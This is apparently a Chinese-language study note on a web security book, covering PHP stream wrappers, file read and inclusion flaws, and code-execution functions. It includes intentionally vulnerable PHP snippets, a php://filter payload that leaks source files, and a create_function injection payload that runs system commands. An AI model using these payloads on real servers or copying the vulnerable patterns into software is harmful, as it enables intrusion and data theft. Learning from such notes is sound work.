书的内容比较简单,几个小时我就看完了。现在我更多的喜欢从代码层面去分析问题,做黑盒我都习惯的回去猜他用了那个函数去过滤。但是这本书也有些我没注意的点。做个笔记下来。
1.php内置协议
file:// 访问本地文件系统
https:// 访问http(s)网址
ftp:// 访问FTP(s)URLs
php:// 访问输入/输出流
zlib:// 压缩流
data:// 数据
ssh2:// secure shell 2
expect:// 处理交互式的流
glob:// 查找匹配的文件路径
读取php文件:
https://xx.com?index.php?page=php://filter/read=convert.base64-encode/resource=flag.php
曾经在某hackgame遇到过,印象较深刻。
2.漏洞原理的触发(我比较熟悉的是php)
文件读取/下载:readfile()、file_get_contents()、fread()、fopen()、fgets()、parse_ini_file()
<?php
header("Content-type:text/xml");
$path = $_GET['path'];
echo file_get_contents($path);
?>
典型的对get进来的数据未进行过滤
文件包含(白盒审计时搜索这四个即可)
include :找不到包含文件产生警告,脚本继续执行
require:找不到包含文件产生致命错误,并停止脚本
include_once:与include类似,区别是只包含一次
require_once:与require类似,区别是只包含一次
例子:
$page = $_GET['a'];
include($page);
远程文件包含:在php.ini中打开allow_url_fopen,allow_url_include。在关闭的情况下,可以用php内置协议来绕过,比如:data://,zlib://,php://等来绕过。
3.命令执行:eval()、assert()、arrar_map()、call_user_func()、preg_replace()/e
例子:https://www.freebuf.com/articles/web/53656.html
$arr = $_GET['arr'];
$array = array(1,2,3,4,5);
$new_array = array_map($arr,$array);
例如:
<?php
//how to exp this code
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>
?sort_by="]);}phpinfo();/*
https://127.0.0.1/php/8.php?sort_by=%22%5D%29;}echo%20system%28ipconfig%29;/*